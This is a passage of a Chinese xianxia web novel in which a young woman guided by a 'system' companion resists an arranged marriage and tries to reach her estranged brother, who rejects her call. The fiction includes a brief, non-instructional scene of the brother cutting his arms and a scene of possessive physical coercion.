慕灵昭双手叉腰，双颊红扑扑的，也不知是气得还是急得：“我一会儿就去和娘亲爹爹说，同意联姻，气死你！” 朝子临红瞳骤缩，身体定在了原地。 【剧情完成！】系统叫道，激动地在慕灵昭的肩膀上蹦来蹦去，【大小姐你太棒啦。】 慕灵昭轻哼一声，微微扬起下巴：【我说话算话，答应你的就会做到。】 系统嘿嘿一笑：【朝子临的恨意值也提高了不少。刚才是5，现在是50。】 【大小姐，他好恨你！】系统惊呆了。 慕灵昭也惊到了，道：【他竟然这么恨我……看来他是真的不想和我联姻啊。】 【正好，我也不想和他联姻。】慕灵昭嘀咕道。她眼睛一亮，突然想到了一种方法：【等等，你刚才说剧情完成了是吧，那我现在可不可以——】 大小姐弧度圆润的紫眸亮晶晶的，闪动着莫名的光芒。 朝子临的状态却跟刚才截然不同。 他紧紧地皱着眉，却露出一个有些奇怪的笑：“这是你自己说的。” 他伸出了手，想捏捏那张莹白柔软的脸，甚至心中突兀地冒出了一个想法：虽然大小姐脾气差、不能修炼、爱惹麻烦……有着无数缺点。 但是，就像桃花一样，光是看着就令人赏心悦目。 啪的一声，朝子临即将触碰到慕灵昭的手被打开了。 少女清脆的声音紧随着响起：“谁要跟你联姻，我才不要和你成亲，一会儿我就去跟娘亲说，绝对不会和你联姻的。” “绝对不会”四个字被慕灵昭咬得很重，她眼睁睁地看着朝子临的脸色发生了改变。 他被她拍打过后的手背红了一小片，但更让慕灵昭感到心虚的，是他瞬间冷沉下来的面色。 朝子临没有看他红了的手背，也没有用灵气去修复，那双红瞳直勾勾地盯着慕灵昭看，冷冷地道：“你当我愿意和你联姻吗？你是第一天知道我不喜欢你吗。你自己脾气多差，多令人讨厌不清楚吗。” “你——”慕灵昭眼睛顿时瞪大了，她气得差点没蹦起来，想去踩朝子临的脚，却被他直接侧身避开了。 朝子临没有再看她一眼，高扬着的马尾径自从她的身旁划过，带起一阵簌簌而落的桃花雨。 慕灵昭望着他的背影，大声道：“那你记得一会儿别同意联姻，以后我们就桥归桥，路归路，老死不相往来！” 那道红衣高挑的身影似乎停顿了一瞬，又很快继续向前。 【恨意值5……】系统弱弱地道，【朝子临的恨意值波动真的好大，一会儿5一会儿50的。大小姐，他好像非常的生气。】 【我现在也非常的生气。】慕灵昭没好气地道，【他凭什么对我发脾气，还说我讨人厌，明明最讨厌的人是他。】 前后态度变得也太快了吧，当真是男人心海底针。 慕灵昭是真的看不懂朝子临在想什么了。跟他联姻他不高兴，不跟他联姻，他还是不高兴。 系统的情绪很快高涨了起来：【但是大小姐你的卡bug成功了！先前的剧情节点判定还是成功的，没有变成失败。】 慕灵昭也高兴了起来：【那就好。不对，什么叫做卡八哥？】 系统解释道：【就是一些骚操作啦。就比如大小姐你刚才说想尝试改口看任务会不会失败。】 【已经完成的任务并没有失败，大小姐你还成功改口，这就是卡bug成功。】 【原来如此。】慕灵昭似懂非懂，又抿唇笑了起来，【这是我第一次听说这个词，还挺有意思的。】 系统蹭蹭她的脸：【那以后在遇到类似的名词，我都告诉大小姐。】 【好！】 此时此刻的慕灵昭和系统还都挺开心的，她们一致觉得剧情节点也没那么难完成，并兴致勃勃地决定去攻破接下来的任务。 但很快，她们两个就都笑不出来了。 5、第五章 第五章 慕灵昭带着系统赶到的时候，她的娘亲虞扶水刚好领着朝子临出了门。 两人言笑晏晏，相谈甚欢。 虞扶水五官舒展，时不时颔首，看着分外满意朝子临。 而朝子临……他看着人模狗样，笑容谦虚和煦，仿佛一个再好相处不过的小辈。 但慕灵昭再清楚不过了，这张开朗英俊的面容之下，隐藏着一颗多么恶劣可恶的心！ “昭昭，你来了。”虞扶水瞥见了不远处的慕灵昭，朝她招了招手，笑道，“你来的正是时候，子临要在我们家暂住几日，我给他安排了落风院，你带他过去吧。” 慕灵昭慢腾腾地挪了过去，不情愿地道：“好的娘亲，不过他为什么要住在这里……哥哥又不在。” 她趁机偷偷地瞪了朝子临一眼。 朝子临恍若未觉，唇角依旧噙着若有若无的笑意。 虞扶水拉过了慕灵昭的手，温声道：“你这孩子瞎说什么呢。子临这孩子是特意来找你的，等下月的玄海派入门考核，你就和子临一起去。” “你一定要和子临好好相处，不要乱发脾气。”虞扶水按了按慕灵昭的手，又语重心长地道，“如果不出意外的话，等再过几年，你们两人修为都稳定了，就可以考虑起婚事的事了。” 朝子临勾唇一笑，接话道：“伯母你放心，我一定会照顾好昭昭的。” 慕灵昭瞪大眼睛，不敢置信地道：“婚事？怎么可能，他刚才还说不喜欢我，绝对不会和我成亲的！” 虞扶水表情微变，皱眉道：“这……” 朝子临却歉意地道：“抱歉伯母，可能我刚才的话让昭昭误会了。” “先前进府的时候恰巧遇到了昭昭，没忍住就逗了她几句。”朝子临那双红瞳转了过来，闪动着莫名的光芒，“昭昭，我们两个也认识这么多年了，早就知根知底了，我娘也非常喜欢你，来之前还说一定要让我请你一起回去，给你准备了很多好吃好玩的。” 虞扶水眉开眼笑，道：“当然可以了，子临。你也替我向你娘问好。也不必等下次了。你们去玄海派入门考核之前，不如就先让昭昭跟着你回去一趟吧。” 慕灵昭顿时意识到了什么，贝齿重重地咬在了下唇上。 以前去朝家，她的身份是相熟的小辈，但这一次，就不一样了。 慕灵昭张了张嘴，想说点什么，但在对上娘亲眼睛的瞬间，一肚子的话又被硬生生咽了回去。 虞扶水平静地收回目光，浅笑道：“昭昭，快去送送子临吧，等回来之后找娘亲一趟，我有话同你说。” 慕灵昭垂下紫眸，低声道：“我知道了娘亲。” 虞扶水目送着他们一同离开，慕灵昭只觉得如芒在背，连头都没敢回，走得飞快。 好不容易等绕过了拐角，慕灵昭立刻抬起眼眸怒视着朝子临：“你为什么要答应婚约？刚才不是明明说好了吗，再也不要扯上任何关系。你还说一直都讨厌我。” 朝子临挑起眉梢，看着那张怒气冲冲，染上两抹绯红的脸，指尖不自觉的摩擦了两下，笑道：“对啊，就是因为你讨厌我，所以我就要在你的面前晃，天天晃，年年晃，让你永无宁日。” 慕灵昭气得快要跳起来：“是你讨厌我，是你说最讨厌我，还嫌我脾气差！你为什么要这样做？” 朝子临忽地敛起笑意，红瞳瞥向她：“那你的意思是你不讨厌我？你愿意和我联姻？” 系统小声道：【当前恨意值20。】 慕灵昭一呆，下意识避开了朝子临的目光：“……我不管，反正我不要和你成亲。我们好聚好散不行吗？干嘛非要互相折磨。” “你明天就去跟我娘亲说解除婚约。” 下巴被倏然传来的力道禁锢住了，被迫扭向了一边。 慕灵昭对上了朝子临居高临下望过来的目光，那双红瞳暗沉了些许，似乎隐藏着她看不懂的意味：“慕昭昭，你为什么回避我的问题，你就这么讨厌我吗。” 脸被捏的很不舒服，还有点痛，慕灵昭挣扎起来，试图去拍打他的手：“你快放开，你疯了！” 朝子临不言，只依旧用那双红瞳冷冷地凝着她。 他的手被她打得啪啪作响，光听着都觉得很痛，但他却始终不松手，只微微松懈了力道。 一个可以尽数掌控，让大小姐不得不被迫抬头，微嘟起脸颊的姿势。 ……像是在主动引人采颉。 慕灵昭已经开始害怕了。 现在脸是不疼了，但是姿势很奇怪不说，朝子临的表情……更加的古怪。 慕灵昭甚至都有些怀疑，他是不是被什么东西给附身了。 她鼓足劲，用力从腰间抽出了鞭子，重重往上一挥， 慕灵昭本意是想恐吓一下朝子临，让他赶紧把手给松开，谁曾想—— 这家伙竟然像是着了魔一般，竟然依旧一动不动。 鞭子的尾端扫到了他的脸侧，登时留下了一条半指长的红痕。 “你真疯了！”慕灵昭瞪大眼睛，连手腕被他紧紧攥住了都没察觉，看着他脸上的那条红痕心虚了起来。 所以，当朝子临将鞭子连同着她的手一同扬起来的时候，慕灵昭没有再挣扎，而是抿紧了唇，听着他冷声道：“你鞭子上的痕迹是怎么回事？” “你不是最爱这鞭子了吗。慕西归给你做的，连让我碰一下都不舍得。”朝子临盯着那条寒铁鞭上的斑斑黑痕，语气有些凶狠，“你别告诉我又是那个养兄搞得鬼。” 慕灵昭紫眸左右瞟，就是不看他，小声道：“也不能完全怪他。昨天他嘲讽我，我就挥了一下鞭子，不小心就抽到他了……” 也怪燕千尧，他身上带毒就算了，毒性怎么就那么强，直接把她的鞭子灼烧掉了一小块。 慕灵昭心疼坏了，本打算尽快去把鞭子修好的，谁曾想，第二天系统就来了，打断了她原本的计划。 不知道是不是错觉，朝子临听她这么说之后，表情变得更加的冰冷古怪，那双红瞳越发幽深，有那么一瞬间，慕灵昭以为自己正在被一只大型的妖狼给盯上。 “你抽他。”朝子临语气冷了下来，“今天还扇了他一巴掌吧。” “慕昭昭，你好的很。还有什么是我不知道的？” 朝子临气笑了：“你还记得他的身份吗？你真是疯了，平时抽我扇我也就算了，他是什么人你也敢这样乱发脾气？” 有关慕家突然多了一个养子这件事，目前还没有一个明确的定论，但大家心照不宣的是——八成是慕家家主在外惹出的风流债。 能让慕泗容在这种关头领回家，还大肆宣扬其地位不亚于慕西归，谁知道那个养子的娘是谁？外族家的身份地位又是什么来头？ 朝子临顿觉失望透顶，紧皱眉头。 “你……你有病吧！谁抽你扇你了？”慕灵昭脸涨得通红，她顶多也就恐吓了他几次好吧。 这次她是真不敢再用鞭子去吓他了，生怕这家伙又发疯，只能使劲挣扎，试图把自己的手抽出来。 但朝子临也不知是吃什么长大的，大掌犹如铁箍般，轻而易举便禁锢住了她的手，迫使她一直不得不跟他对视。 就在这时，不远处突然传来了侍女迟疑的声音：“大小姐……夫人让我来给朝公子送一些安置的寝具。” 慕灵昭一呆，登时看向朝子临脸上那道显眼的红痕。 要是让侍女看到，那她娘亲必然也会知道，到时候她就完蛋了。 “你——”这回轮到慕灵昭不愿意松开手了。她想也不想，手往上一抬，直接贴住了朝子临的脸，正好把那条红痕给遮住了，同时疯狂给他使眼色，“呀，你这里怎么有个东西啊？我帮你拿掉。” 朝子临周身冰冷的气息骤然松懈了几分，似笑非笑地睨着她，道：“那就多谢昭昭了。” 慕灵昭只觉得手心下的温度似乎高了些许，等她把手挪开后，朝子临的脸已然恢复如初，面如冠玉，唇角噙笑，活脱脱的世家少儿郎。 她把手背到身后，不自觉地揉了揉发烫的手腕：“那我就不打扰你休息了，我先走了，改日见。” 侍女端着托盘适时上前。 朝子临深深的看了她一眼，却道：“明日见。” 他扬了扬手，慕灵昭的鞭子飞到了他的掌心。 朝子临笑容不变，道：“作为回报，我帮昭昭把鞭子修好。” “明天来找我吧。” …… 【恨意值5。】 系统纳闷地道：【好奇怪啊，刚才朝子临的恨意值一直在来回变，最高的时候达到过50，但现在又变成5了。】 【大小姐，你在想什么？】 慕灵昭心不在焉，道：【我在想我的鞭子，那家伙把哥哥给我的鞭子拿走了，说是修好，谁知道他会做什么。】 【不行，明天我必须找他把鞭子要回来。】 系统道：【我陪大小姐一起去！】 等慕灵昭再次回到主院的时候，迎接她的是虞扶水的询问：“我听侍女说你鞭子坏了，怎么回事？” “跟燕千尧有关吗？” 慕灵昭乖乖地坐在了下首，小声道：“是跟他有关，但也不完全是他的错……” 她低头揪了揪袖子上的玉坠，心虚的想：如果娘亲要详细问的话，那她就主动承认错误，大不了以后就不去找燕千尧的事了。 虞扶水却没有追问下去。 她的表情冷了几分：“我就知道，你也不必再替他说好话了。我刚才已经让侍女去警告他了。” “以后若是再有这样的事，你就直接跟娘亲说，娘亲会给你做主的。” 慕灵昭张了张嘴，怔怔地道：“其实不是——” “我还能不了解你吗。”虞扶水打断了她的话，怜爱地道，“我们昭昭从来不记仇，又乖又听话，必然是他惹到了你，你才会还手的。” 慕灵昭没再说什么，轻轻地将头搁在了虞扶水的膝盖上。 不知怎的，她心里突然有些不是滋味。 她想，以后只要燕千尧不主动找事，她也不欺负他了。 但要是他主动找事的话…… 慕灵昭还没想好要如何应对，虞扶水摸了摸她的头，道：“关于你和朝子临的婚事，娘亲要好好跟你解释一下。” “你不是一直都想要修炼吗。”虞扶水轻笑道，“娘亲保证，玄海派的入门考核之前，你一定可以引气入体，开始修炼。” 6、第六章 第六章 引气入体。 简简单单的四个字，却困了慕灵昭近十年。 从八岁开始，慕灵昭第一次尝试引气入体失败后，这四个字就开始跟随着她，如影随形。 她听到最多的闲话，便是慕家的废物大小姐、脾气有多差修为就有多差……等等话语。 为此，慕灵昭不知偷偷哭过多少次，遭过多少罪，但均一无所获。 她也赌气的想过干脆认命好了。不能修炼就不修，反正娘亲和爹爹不会不管她，怎么也能用丹药堆个几百年再去世。 可现在—— 那双紫眸中渐渐积聚起了细碎的光亮，最终汇成闪动的光芒：“真的吗？我要做什么吗？” 虞扶水笑着摸了摸她的头：“当然是真的，我和你爹已经安排好了一切，你到时只需要按照步骤来就好了。” 慕灵昭好奇地道：“什么步骤？” 虞扶水神情莫名：“等那时昭昭就知道了。” “总之，和朝子临的婚约对你来说百利而无一害。”虞扶水轻抚慕灵昭的长发，“我们昭昭很快就可以修仙了。” “不喜欢朝子临没关系，这个婚约只是暂时的。等你修为稳定了——” 虞扶水轻笑道：“还不是想要什么要什么，娘亲和你爹都不会勉强你的。” 慕灵昭瞬间明悟了娘亲的意思，眼眸亮晶晶的，小声道：“真的吗？朝子临还有朝家会同意吗？” “会的，这场联姻本就是各取所需。”虞扶水云淡风轻地道，“我们昭昭只需要选择自己喜欢的事物，开开心心地就行了。” 慕灵昭扑进虞扶水怀里，道：“谢谢娘亲，娘亲真好！” 虞扶水忍不住又摸了摸她的头，刚欲开口，悄然靠近的侍女呈上了一样东西，打断了她。 慕灵昭眼尖，扫到托盘上那物的边缘，像是一封信。 虞扶水迅速抬手，把信团进了掌心，脸色几不可查地沉了几分，冷声道：“谁让你送进来的？这点规矩都不懂吗。” 侍女慌乱跪地：“奴婢的错，是黑渊城的信使送的非常急，说一定要尽快送到——” “够了！”虞扶水厉声道，她余光瞥见了慕灵昭骤然亮起的紫眸，表情一滞，“昭昭，你先回去吧。” “回去好好收拾一下，过两日就随朝子临一同回朝家吧。” 慕灵昭乖乖点头，临走的时候还是没忍住，又回头看了一眼。 黑渊城，是哥哥所在的地方。那么那封信…… 她对上了娘亲晦暗的目光，而那封信，依旧被娘亲紧紧的攥在掌心中，只露出一角信纸。 慕灵昭扬唇露出了一抹笑，只是回过头后，紫眸迅速地黯淡了下去。 她没再回头，离开了主院。 虞扶水目送着慕灵昭离开，待她的身影彻底消失在视野之外后，脸色瞬间沉了下来：“以后任何来自黑渊城的信或是物件，都必须要避着大小姐送过来，明白了吗？” 侍女低垂着头，道：“好的夫人。” 虞扶水打开了那封信，自上而下扫视了一番，冷笑道：“还算他守信，没说什么过分的话。” 灵气自掌心升腾而起，瞬间将那封信燃为了灰烬。 灰尘簌簌而落，虞扶水的面容在火光间半明半暗，望不真切。 侍女欲言又止，小声道：“夫人，这已经是大公子寄来的第十封信了。” “大小姐马上要和朝家联姻，这件事要和大公子说一声吗？” 虞扶水冷冷地道：“和他说什么，有什么好说的，谁都不许告诉他。” “当年他既然答应永远不会回来，那就必须要彻底断绝所有心思。” “至于我们昭昭……”虞扶水的眸光柔和了几分，道，“我已经给她安排了最好的人家。” “她这一生一定会过得平安快乐，而不是惴惴不安，唯恐被外人嘲笑。” …… 【大小姐，你心情不好吗？】 系统碰碰少女的侧颜，注意到她一直心不在焉地咬着唇，唇上是深深的齿痕。 慕灵昭看着有些无精打采：“还好，我只是有点想……” 系统疑惑地道：【大小姐你想什么？】 慕灵昭摆弄着桌子上的茶具，半晌，才从唇间挤出几个字：“……我有点想我哥哥了。” “但是他离开这么久，从来都没有联系过我。” 她又想起了刚才看到的那封信，长长的睫毛垂了下来，在脸庞上投下了一小片阴影：“三年了，他给娘亲爹爹寄信，给朝子临寄信。” “但他一句话都没有跟我说过。我寄去了无数封信，打过去了多少道通讯符……他都没有回应过一次。”慕灵昭盯着自己的掌心，喃喃道，“我至今都不知道我做错了什么。” 对于慕灵昭而言，三年前及笄的那个清晨，完全是一场噩梦。 一贯对她言听计从的哥哥突然离开了家里，毫无征兆。 而她怀揣着满心的喜悦，兴致勃勃的大清早前去哥哥的院中，想要提前问他讨要及笄礼。 结果，看到的是人去楼空，满地狼藉。 前一天晚上还对她好声好气，答应她第二天一定会带她去放最盛大的烟花的哥哥，就这么消失了。 娘亲说哥哥自请去了黑渊城防御妖魔入侵，时间急，没来得及跟她告别。 可是慕灵昭不明白，她一直都没能想明白—— 时间是有多紧张，才能让哥哥连叫醒她同她说一句再见的时间都没有。防御妖魔的任务是有多重，才会整整三年都杳无音讯。 啪嗒。 透明的水珠滴落在茶褐色的圆桌上，慕灵昭抬手遮住眼睛，咬牙道：“……我讨厌慕西归！” “他不回来就永远别回来了。”大小姐闷闷地道。 系统小声道：【可是按照剧情……慕西归会在半年后归来，被邀去门派大比上担任评委长老，也因此遇见了女主。】 【他非常欣赏女主，觉得她年纪轻轻天赋如此之佳实属难见，便邀请她前往慕家。也因此……】 系统小心翼翼：【女主遇到了女配慕灵昭，也就是大小姐你。】 【大小姐你大发雷霆，觉得就是因为女主的存在才会抢占了慕西归的注意力。你开始针对她，无数次顶撞慕西归，惹来了他越来越浓烈的厌弃……】 系统声音渐低，直到最后，声若蚊蝇，根本不敢去看慕灵昭的反应。 出乎意料的，大小姐带着点茫然的声音响起：“可是，我为什么要针对女主啊？” “如果哥哥真的因为她才愿意回家，那真的是——” 慕灵昭紫眸亮了：“那可真是太好了！” “不管他因为谁，又看中了谁，只要能回来就行。”慕灵昭掰着手指盘算，“门派大比，半年后……那还能赶在我死之前。” 她愤愤地道：“等他回来了，我一定要问他为什么突然就走了，这么多年连个消息都没有。” “我一定要问清楚。” “所以，女主什么时候出现呀。”慕灵昭眨眨眼，“如果她早点和我哥哥碰面，那他是不是也能早点回来了？” “我可不可以去找她，让她早点去见我哥哥？” 系统发出尖锐爆鸣：【不可以！】 【剧情是不能更改的，更改会出大问题。】 “好吧。”慕灵昭有些失望，托腮道，“那女主什么时候出现？我会有剧情和她撞上吗？” “当然。”系统小小声，“按照剧情来说，等你们遇见之后，你就要不停的针对她打压她欺负她，从而引起了一众天之骄子们的不满……” 慕灵昭想说什么，又抿唇忍住了。她想了想，道：“那等到了欺负女主的剧情，我可以按照你之前说的那个卡八哥来做吗。” “嗯？！”光球瞬间蹦了起来，兴奋道，“对哦，我们完全可以卡bug，大小姐你太聪明了！” 慕灵昭微微扬起了下巴：“小意思。” “所以……”大小姐像块小饼一样蔫蔫地摊在了桌面上，“我到底要不要联系哥哥？我现在只剩下最后一张通讯符了。” 黑渊城远在北周边疆，距离南州的慕府足有几千里的距离。 这么远的距离，一般的通讯铃根本传递不去消息，只能用特定的高品阶通讯符。 慕灵昭手上只有五张通讯符，还是慕西归之前留给她的，说是这样不管他去了哪里，她都可以随时随地的联系到他。 可这三年她已经用掉了其中四张，没有得到半点回复。 哥哥是个骗子。 现在慕灵昭手上只剩下最后一张了。 如果再得不到任何回复，慕灵昭有预感，她没有别的方法得到通讯符了， 而哥哥…… 他不会主动联系她的。 光华流转，慕灵昭的手上多了一张流光溢彩的金色符咒。 她盯着这张符咒，心道，如果系统说的都是对的，那她只能再活十个月了。 她要和朝子临那个家伙订婚了。家里又多出了燕千尧那个讨厌鬼，他动不动就欺负她。她过段时间要去修仙门派，说不定这次终于可以成功修炼了—— 慕灵昭有好多好多的话想要跟哥哥说，可是她很怕，很怕再也没有机会去说了。 符咒自顾自地闪动着耀眼的光芒，不受任何思绪所动。 大小姐已经静静地维持着那个姿势很久了。系统提议道：【如果你很纠结的话，要不要我来帮你摇骰子？】 【单数就联系，双数就不联系，怎么样？】 慕灵昭迟疑地点了点头。 白玉骰子在桌面上滴溜溜的打转，两双眼睛紧紧地盯着她看。 骰子速度减缓，慕灵昭急促的声音猛地想起：“我要和哥哥通讯！” 随着她话语的落下，骰子停止转动，露出了顶端的数字。 四—— 代表不联系。 慕灵昭紫眸一眨不眨地盯着那个四看，又重复了一遍：“我要和哥哥通讯。” 她拢在衣袖下的双手紧攥，心里想的却是：她可以再投一次。总能投到单数的。 系统却一轱辘把骰子收了起来，嘹亮地道：【那就通讯！如果联系不到他的话，我就使用能量把通讯符送到他耳边！】 【我有好多能量，我一定可以让慕西归听到的！】 “……谢谢你小白。”慕灵昭用力眨了眨眼，紫眸中的湿意一闪而过。 【不用谢，这都是小——欸，为什么要叫我小白啊？】 大小姐理直气壮：“因为你白白亮亮的呀。” “系统这个名字，总觉得不是很好听。” 【嘿嘿，那我以后就叫小白好了！】 7、第七章 第七章 黑渊城。 这里不辨昼夜，浓厚黏稠的黑色雾气积年累月的笼罩在半空中。无论日月，都只能勉力穿破云层，投射下零碎的光芒。 因此，城墙长年累月地维持灯火通明，确保可以照清所有试图靠近城池的魔怪妖兽。 这的怪物和普通的截然不同。它们更具凶性，毫无理智，不通人言，且能将自身修为暴起至几倍，轻易便能伤到数百民众。 可以说，黑渊城之所以伫立在此，就是为了抵御这种奇特的怪物，镇守住第一道防线。 而之所以产生能产生这种怪物，据说是由于黑渊城的附近有一道深不见底的黑色裂隙。其中不时会飘出一种无色无味的气体，被称作混沌之气。 正是因为有这种气体的存在，才会导致那些妖兽魔怪变异。它们会被混沌之气一点点同化，不论什么颜色的眼珠，都会一致转为深红，最终纯黑，直至彻底丧失理智。 也因此，除了罪孽深重或是家境贫寒、需要苦修的修士外，都对此地避之不及，唯恐沾染上丝毫。 偏偏有一人，他虽是四大家族出身的嫡系，名正言顺的下一任家主，却来到此地从零开始，和普通的士兵经受同样的磨炼。 不过一年时间，他便以高居榜首的猎杀妖兽的数量，以及数不尽的军功，完成了小兵到将军的蜕变。 “……要说慕将军，那可真的是话本中的人物！”一个小兵顶着众多士兵的目光，吐沫横飞地道，“外貌什么的都不用我多赘述了。单凭修为，那可真是天道之子般的存在。” “仅仅三年，他便从筑基破镜至金丹巅峰。”小兵激动得面红耳赤，“这是多少人穷极一生都无法达到的啊！” 眼看着有越来越多的人看向他，小兵不由声音变大，甚至手舞足蹈地讲述慕将军的丰功伟绩。 不止过了多久，周围附和的声音渐渐歇了，某种寒冷的气息突兀地向着此地袭来。 小兵寒毛竖起，心惊胆战地慢慢转头，当场僵在了原地。 不远处，一道身影正在逐渐走来，他步速极快，几步便行至众人面前。 男人长身玉立，身穿一身黑色长袍，外覆玄铁铠甲，随着他的走近，浓烈的血腥味和森森寒气扑面而来。 他生得极高，目测八尺，一头乌黑长发被墨玉发冠高高束起。玉冠色墨如漆，纹理细腻，一眼便能看出是上好佳品，偏生下方压了一根鹅黄色的陈旧发带，格外的引人注目。 男人的乌发下压了一张暗银面具，面容尽数覆于其下，只余一双冷冰冰的狐狸眼露在外面。 明明是一双极其风流勾人的狐狸眼，却无人敢对此生半分心思。那双狐狸眼扫来时只有居高临下的冰冷和威严。 士兵们全部噤声，头都不敢抬，先前那个手舞足蹈的士兵紧张的一动不敢动，当场僵成了姿势古怪的木头人，只有眼珠慌张的左右乱飘。 男人淡淡地道：“好玩吗？” 在场所有的士兵大气都不敢出一口，几息后，伍长颤颤巍巍道：“慕将军，是我管理不当，请您降罚。” 慕西归瞥了他一眼，道：“如有下次，军规处置。” 无一人敢言，待那道高大挺拨的身影逐渐远去后，此起彼伏的呼气声响起。 有人低声感叹道：“不愧是慕将军……冷酷无情，气势森严，真不知何人才能得到他半分笑。” …… 水汽蔓延，玄铁铠甲与衣物一件件脱落，露出了一具强劲布满力量的身躯，以及，两边都被绷带密密麻麻缠着的胳膊。 哗啦一声，水花溅起，慕西归沉入水中。他抬手摘掉了面具，露出了一双冷漠无波的眼。 飞溅的水滴沿着他的脖颈滑落，一路向下，最终在水面上溅起小小涟漪。 水波荡漾间，某处的两个尖尖若隐若现，而正巧位于中间的红痣，也在水面上浮沉，似乎因着热气的熏腾变得更加潋滟。 狐狸眼半眯半阖，慕西归刚欲扯下缠绕在胳膊上的层层绷带，门外突然响起了一道小心翼翼的女声。 “将军，有人找您。是您的妹妹……她说有急事，非常紧急。” …… 慕灵昭很久没有感觉到这么紧张了。 掌心被汗水微微浸湿，慕灵昭只觉得那张通讯符滑不留手，必须要用力才能握住。 小白跳到了她的肩膀上，碰碰她的脸颊：【没事的大小姐，我向你保证，这道通讯一定能穿入慕西归耳朵里的。】 慕灵昭垂下了眼眸。 她相信小白，但是…… 她怕哥哥不接，就像之前一样，完全忽视她发送的所有通讯符。 这三年里，他一直如此。 耀眼的金光自符咒中发射而出，瞬间弹向深邃浓稠的黑夜。 时间似乎在此刻停下，小白也没有再开口说话，慕灵昭屏住呼吸，紧紧地盯着那张闪烁着金光的通讯符—— 这代表着正在连线，等对方接通了通讯，金光才会稳定下来。 不知过了多久，就到慕灵昭眼眸中的光一点点黯淡时，通讯符终于接通了。 便传来了一道疑惑的女声。她的声音微微有些沙哑，很有辨识度：“……我是慕将军的副将，请问你是？有什么事情吗？” “我我是慕灵昭，慕西归的妹妹！”慕灵昭连忙道，“姐姐，请问我哥哥现在在吗？你可以把通讯符给他吗？” 副将的声音听上去有些为难：“是大小姐啊。抱歉，慕将军今天还在城外猎杀那些失去理智的妖兽，不知何时才能回来。” “你有什么事的话，要不先和我讲。待明日慕将军回来后，我会向他禀告的。” 又来了，又是一样的说辞。慕灵昭不知已经听到过多少次了。 通讯符被接通的喜悦荡然无存。慕灵昭不想就这样放弃，这是她最后一张通讯符了。 “我这次真的有很重要很重要的事情。”慕灵昭软下声音，可怜兮兮地道，“姐姐，这是我最后一次打来通讯符了，就拜托你帮帮我吧。” “你就跟他说我有很重要的事情找他。如果他还是不愿意的话……” 少女清脆的声音明显低落了下去，却又努一股劲儿：“那我就再也不认他这个哥哥了，他回家我也不会再理他了。” 对面陷入了沉默。慕灵昭只能听到自己咚咚的心跳声。 良久，副将压低的声音响起，她无奈地道：“最后一次哦大小姐。您知道的，如果是慕将军不愿意做的事，任谁来都没用。” 慕灵昭睫羽微颤，道：“我知道的，谢谢姐姐！” 以前，她是那个例外。但现在…… …… 其实，副将一开始根本没想答应下来。 她就想跟之前一样，按着慕将军的要求来说，说他忙于公务、猎杀妖兽、城内民患……等等等等，各种各样的理由能找一大堆。 可这一次，她捂着胸口，心道：慕将军，你究竟知不知道自己妹妹有多可爱！ 就问谁能顶着那么一道软绵又可怜的哀求嗓音说出拒绝的话啊！ 反正副将做不到。她决定为她破一次例，也是最后一次。 怀揣着这样的想法，副将敲响了慕西归的院门，扬声重复了几遍，道：“……将军，您妹妹说这次有非常重要的事情要跟您说，您要不要听一下？” 话音落下的瞬间，副将眼前一暗，多出了一道身影。 慕西归周身还带着水汽，鬓发和衣物却一丝不苟，没有丝毫的散乱，只隐隐有一丝浅淡的檀香从他身上传来。 副将立刻屏息，眼观眼鼻观鼻，低垂着头递上了那枚通讯符。 通讯符还传着慕灵昭的碎碎念：“……哥哥都忙好久了，不知道这一次他有没有时间。” 副将情不自禁低露出一抹笑，下一息，灵气扫过，那道通讯符被彻底屏蔽，无法听到他们这边的任何声音。 慕西归冷漠的声音随即传来：“你直接说我很忙，把通讯挂断。让她不要再打了。” 副将犹豫道：“可是大小姐说这次有非常重要的事情……将军您要不还是听一下吧。” 慕西归似乎笑了一下，语气依旧毫无波动：“一会儿去领十根军棍。” “……”副将道，“是，属下领罚。” 灵气限制打开了。副将硬着头皮对通讯符说：“抱歉大小姐，将军还在忙，恐怕要过几日才能回来了。” 她顿了顿，顶着那道冰冷的目光，硬着语气道：“还请您不要再打通讯符过来了，将军一直很忙，我这边也需要协调各项军务，分不出时间。” 对面那头安静了很久。 再出声时，那道清脆的声音明显低落了下去：“我知道了，谢谢姐姐，给你添麻烦了。” “如果方便的话，麻烦你帮我告诉他，我要和朝子临联姻了。” 副将刚想应下，浑身寒毛竖起，她下意识抬头，惊愕地望向骤变的天空。 黑沉昏暗的天空中闪烁着一条条龙形般的闪电，剧烈的轰鸣声接连响起，风雨欲来。 据说，高阶修士的心情或是一举一动，都能引起天气的变化。 副将结巴道：“将、将军！” 通讯符另一头的慕灵昭立刻意识到了什么，道：“哥哥你在吗？！” 电闪雷鸣间，慕西归那张阴沉的脸半隐半现，看不真切。 他伸手拿过了那张通讯符，只说了一句话。 “你们很般配，祝你幸福。” 通讯符上的金光瞬间消散。 ——这意味着对方单方面掐断了通话。 慕西归盯着掌心中失去光芒，正在一点点化为灰烬的通讯符，忽地想起了一件事。 他的妹妹，娇气又爱哭。一个不小心惹恼了她，那就完了。 她生气了不会说话，只会用力地咬着自己的唇瓣，有时候咬出血都不知道。 他想，昭昭，你别又把自己的嘴咬破了。 惨白闪电一道接一道地撕裂天空，沉甸甸的潮湿水气一层层压了下来。 马上要下大雨了。 慕西归突然觉得很疲惫。他挥了挥手，示意副将离开，再次回到了浴房。 他站在温泉旁，解开了双臂上缠绕着的层层绷带。 没有伤痕，两条胳膊干干净净，半点痕迹都没有。 慕西归双指合并，灵气做刃，一刀划了下去。 鲜血瞬间涌了出来。 慕西归紧闭双眼，又划了一道。无声无息间，只有淡淡的血腥味蔓延开来，落入到泉水中，泛起微不足道的朵朵涟漪。 疼痛让他想起了一些画面。 笑意盈盈的脸，波光粼粼的紫眸，柔软的脸颊，纤细温暖的手掌，软绵绵的触感……它们一一出现，又在瞬间被打碎。 最后停留在他脑海中的，是带着颤音却冰冷的话： “你这辈子都要远离她，这辈子都不要再回来。” 这辈子。 慕西归睁开了眼睛，双臂上布满了淋漓的刀痕。 他垂下眼，用灵气将道道伤口合拢，然后再次一点点缠上绷带，裹紧两条手臂，离开了浴房。 他绝对不会回去的。 8、第八章 第八章 “大小姐……”小白小心翼翼地道。 慕灵昭像是在发呆，但小白知道她没有。 因为大小姐始终用力的咬着自己的唇瓣，留下了几道深深的齿痕。 “哗”的一声，被子被掀开，严丝合缝的将那道身影给埋了进去。 片刻后，鼓鼓的被子中传出了细小的抽泣声。 很轻，像是主人竭尽全力的忍住，却还是控制不住从齿间溢出了几丝。 小白僵住了，结结巴巴：“大、大小姐……你别哭了。” 